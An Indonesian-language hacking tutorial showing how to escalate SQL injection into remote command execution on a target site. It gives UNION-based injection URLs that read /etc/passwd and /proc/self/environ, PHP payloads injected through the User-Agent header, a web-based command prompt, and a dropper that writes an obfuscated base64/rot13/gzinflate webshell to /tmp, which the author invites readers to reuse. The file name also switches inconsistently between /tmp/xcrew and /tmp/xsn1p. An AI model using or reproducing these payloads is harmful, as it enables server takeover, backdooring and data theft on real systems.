Creating R.A.C.E from SQL Injection Vulnerabilities && Shell Backdooring

chmood


Creating R.A.C.E from SQL Injection Vulnerabilities && Shell Backdooring

##[ SekilaS tentang R.A.C.E / R.C.E ]##
Remote Arbitrary Command Execution (RACE) atau dikenal juga dengan Remote Command Execution (RCE), merupakan sebuah implementasi script yang mengambil sebuah command dari sebuah variable dan mengeksekusinya. Sehingga attacker dengan leluasa mengirimkan command2 berbahaya ke sistem victim.

##[ Example ]##

http://gombel.com/bug.php?cmd=ls -la
http://gombel.com/bug.php?cmd=uname -a
http://gombel.com/bug.php?cmd=cat /etc/passwd
http://gombel.com/bug.php?cmd=echo 'just attacted' > index.php


dari contoh tersebut, terlihat jelas bahwa variable bernama "cmd" adalah sebuah jalan bagi attacker untuk mengirimkan command2 ke victim (RACE). attacker dengan leluasa memerintah server melalui $cmd.

##[ RCE from SQL Injection vulnerability ]##

Bagaimana membuat sebuah RCE melalui SQL Injection?
Secara konsep sangat mudah. Kita ingat2 lagi tentang LFI exploitation ( https://www.facebook.com/groups/Tisniper/).
LFI mengambil file /proc/self/environ. Dimana informasi dari file ini mengambil informasi dari browser. Dan attacker bisa mengubah informasi ini untuk mengirimkan command2 ke server.

Apa hubunganya SQLI dengan LFI?
OKE. SQLI like as LFI. SQL Injection bisa kita pakai untuk load file dari sistem local dengan command sql LOAD_FILE('/path/to/file')
Dengan pengetahuan tersebut, kita tau bahwa SQL juga bersifat sama seperti LFI. walau gak semua SQL Injection bisa kita gunakan untuk load_file. Jadi, pada intinya teknik yang akan saya jabarkan berikut adalah SQL to RCE dengan methode LFI.

Dalam pembahasan ini, Saya tidak akan membahas bagaimana sql injection di lakukan dan bagaimana lfi di lakukan. Saya anggap pembaca sudah mengerti dan menguasai SQL Injection dan LFI Exploitation. Jadi saya hanya akan membahas bagaimana membuat RCE melalui SQL injection dan WebShel Backdooring from SQL Injection. dan Teknik LFI yang saya pakai di tutorial ini adalah LFI dengan methode environ. Untuk metode Apache Log Injection (ALI) silahkan di implementasikan sendiri, konsep nya sama saja.

##[ Explotation in action! ]##

Saya implementasikan SQL Injection sudah dilakukan dan dapat jumlah kolom seperti berikut:

http://sasaran.com/view.php?id=-1+union+select+1,2,3,4,5--



Dengan null area pada kolom ke 3

http://sasaran.com/view.php?id=-1+union+select+1,2,[HERE IS NULLED AREA],4,5--
ex: http://sasaran.com/view.php?id=-1+union+select+1,2,database(),4,5--


OKE, next step, seperti yang saya katakan tadi, SQL2LFI. Oke, kita coba apakah sasaran.com bisa load file

http://sasaran.com/view.php?id=-1+union+select+1,2,load_file('/etc/passwd'),4,5--



Kalau bisa berarti kita beruntung karena gak perlu encode dulu menjadi hex. Namun kalau tidak bisa, kita coba encode dulu "path file yang di include" ke dalam bentuk hexa. Tempat favorit: http://www.string-functions.com/string-hex.aspx

Bentuk hexa dari /etc/passwd adalah 2f6574632f706173737764

OKE, mari kita include

http://sasaran.com/view.php?id=-1+union+select+1,2,load_file(0x2f6574632f706173737764),4,5--



Bila pada step ini file /etc/passwd tidak terinclude, bisa di katakan teknik sql2rce nya gagal.
OKE, implementasikan /etc/passwd berhasil di include.

Yess Included! Next step. Kita coba include /proc/self/environ. Saya katakan "coba" karena belum tentu bisa dan gak ada sebuah kepastian yang di ketahui manusia, hanya Allah yang mengetahui kepastian-nya.

OKE, encode dulu /proc/self/environ menjadi hexa.

/proc/self/environ in hexa encoded : 2f70726f632f73656c662f656e7669726f6e

Yep, mari kita coba.

http://sasaran.com/view.php?id=-1+union+select+1,2,load_file(0x2f70726f632f73656c662f656e7669726f6e),4,5--



Jika included, maka 80% perjalanan exploitasi. Kita sudah di ujung berhasil. Next step, saya akan memberikan beberapa contoh exekusi nya.



##[ Creating RCE over SQL Injection ]##

Seperti pada teknik LFI, kita edit user agent firefox kita dengan value seperti ini:

Firefox/3.6.8 <?php system($_GET[cmd]);exit; ?>


key, dari code tersebut kita punya rce melalui variable bernama cmd. melalui variable inilah rce terbentuk dan kita bisa mengirimkan command2 ke server.

http://sasaran.com/view.php?id=-1+union+select+1,2,load_file(0x2f70726f632f73656c662f656e7669726f6e),4,5--&cmd=uname+-a
http://sasaran.com/view.php?id=-1+union+select+1,2,load_file(0x2f70726f632f73656c662f656e7669726f6e),4,5--&cmd=id
http://sasaran.com/view.php?id=-1+union+select+1,2,load_file(0x2f70726f632f73656c662f656e7669726f6e),4,5--&cmd=ls+-la
http://sasaran.com/view.php?id=-1+union+select+1,2,load_file(0x2f70726f632f73656c662f656e7669726f6e),4,5--&cmd=uname+-a;id;pwd;ls+-la



OKE. Cukup mudah kan. dari situ kita bisa ngirim command berbahaya ke server. Sebenernya dari sini tutorial sudah selesei. Kita bisa mengembangkannya sendiri sesuai kreativitas. Berikut saya berikan beberapa contoh lain menggunakan teknik yang sama.



##[ Web Based Command Prompt ]##

Yep, jika pada bagian di atas kita mengirimkan command melalui url. Pada bagian ini kita akan membuat sebuah command intepreter, yg berupa box (kotak) intuk input command. dimana kita bisa mengirimkan command melalui itu.

Preview:Β http://75n1.blogspot.co.id/search/label/Exploitations.jpg

Bagaimana membuat yg seperti itu? simple aja. kayak lfi biasanya. Tetapi dengan script ini:

Firefox/3.6.8<br><br><form action="<?php "/".$_SERVER['PHP_SELF']?>?<?php echo $_SERVER['QUERY_STRING'] ?> " method=post >Enter Command: <input type=text name=cmd size=100 value="<?php echo $_POST['cmd'] ?>" ><input type=submit value=RUN ></form><br><pre><?php if($_POST['cmd']){ system($_POST['cmd']); } exit; ?>



setelah script tersebut di masukkan ke dalam useragent, kita tinggal akses sql injection nya :

http://sasaran.com/view.php?id=-1+union+select+1,2,load_file(0x2f70726f632f73656c662f656e7669726f6e),4,5--





##[ Shell Backdooring (Upload Webshell) ]##

Oke oke. 2 contoh di atas, akan sangat sukses jika safemode Off atau shell exec enable. tapi jika safemode On ato shell exec disable? mewex? kwkekwekkw gak perlu mewex. Teknik berikut buat upload webshell. Bisa di pake di safemode on maupun off. shell exec enable maupun disable. yg pasti, teknik berikut mengupload webshell tanpa menggunakan command download (wget, lwp-download, dkk).

Konsepnya, kita akan membuat sebuah file di /tmp dengan nama xcrew. File ini berisi script backdoor. Teknik membuatnya dengan menggunakan fungsi fopen pada php. Setelah file di buat, kita include file tersebut melalui load_file() pada sql injection.

Script berikut adalah script membuat file backdoor nya. Masukkan ke dalam useragent firefox.

Firefox/3.6.8 <?php $backdoor="<?php error_reporting(0);eval(gzinflate(str_rot13(base64_decode(\"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\")))); ?>";$o=fopen("/tmp/xcrew","w");fwrite($o,$backdoor);fclose($o);if(file_exists("/tmp/xcrew")){echo"backdoor uploaded!";}else{echo"gagal";}exit;?>



OKE. setelah script tersebut masuk ke user agent, selanjutnya tentu saja kita include /proc/self/environ dengan sql injection seperti di atas.

http://sasaran.com/view.php?id=-1+union+select+1,2,load_file(0x2f70726f632f73656c662f656e7669726f6e),4,5--



Setelah itu di jalankan, maka script akan membuat file /tmp/xcrew. Dengan demikian kita telah punya file backdoor pada /tmp/xsn1p. Maka untuk mengaksesnya juga cukup mudah, melalui sql injection kita load file /tmp/xsn1p.

http://sasaran.com/view.php?id=-1+union+select+1,2,load_file('/tmp/xcrew'),4,5--



Namun kita harus meng-encode /tmp/xsn1p menjadi bentuk hexa.

/tmp/xsn1pΒ dalam hexa: 2f746d702f7863726577

Mari kita include

http://sasaran.com/view.php?id=-1+union+select+1,2,load_file(0x2f746d702f7863726577),4,5--


Setelah itu, kita langsung di hadapkan pada sebuah backdoor berupa webshell. Kita bisa lebih leluasa lagi mengutak atik komputer korban melalui backdoor ini.

OKE. Dari sini contoh sudah cukup jelas. Berikut saya jelaskan script di atas.

Perhatikan script di atas dari awal sampe akhir. Kira2 kalau di pecah perbagian menjadi seperti ini:

<?php
$backdoor="<?php error_reporting(0);eval(gzinflate(str_rot13(base64_decode(\"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\")))); ?>";
$o=fopen("/tmp/xcrew","w");
fwrite($o,$backdoor);
fclose($o);
if(file_exists("/tmp/xcrew")){
echo"backdoor uploaded!";
}
else{
echo"gagal";
}
exit;
?>



Script backdoor ada pada variable $backdoor. Selanjutnya saya membuka file baru dengan nama /tmp/xsn1p dengan mode write (w). Kemudian menuliskan $backdoor ke dalam file tersebut. Terakhir adalah mengecek apakah file berhasil di buat. done.

oke. mungkin anda sedikit curiga dengan script webshell saya karena saya encode, kenapa tidak di buka saja script nya, jangan2 ada backdoor logger neh.

Yep, curiga dengan kondisi seperti itu wajar, kita sebagai kaum underground memang gak boleh percaya begitu aja dengan sesuatu yg encoded apalagi script. Sangat rawan terhadap backdoor.

yep. saya mengencode script ini, bukan karena agar backdoor tidak terlihat. Tetapi script tersebut saya pakai pada exploit e107. saya sudah mencoba menulis script terbuka. namun gagal karena sifat bug nya. saya harus melakukan encoding macam2, baru bisa di tulis file nya melalui e107. di e107exploit script tersebut masih di encode lagi agar selamat sampai ke tujuan. Nah, karena saya malah memilah2 beri tanda slash blablabla agar masuk ke teknik ini, maka saya langsung aja comot tuh script encoded :P~

nah, maksud saya ini adalah, script tersebut "bebas backdoor". Saya gak suka ngebackdoor hasil krja orang. kalau mau pake script itu ya monggo. Kalau gak mau pakai itu dan mau menggantinya dengan script situ sendiri, ya silahkan. Script upload nya sudah saya jelaskan detil sehingga anda bisa mengganti isi $backdoor dengan script backdoor anda sendiri.



###[ QUOTES ]###


Selalu ada jalan jika jalan itu di cari



###[ EoF ]###
Komentar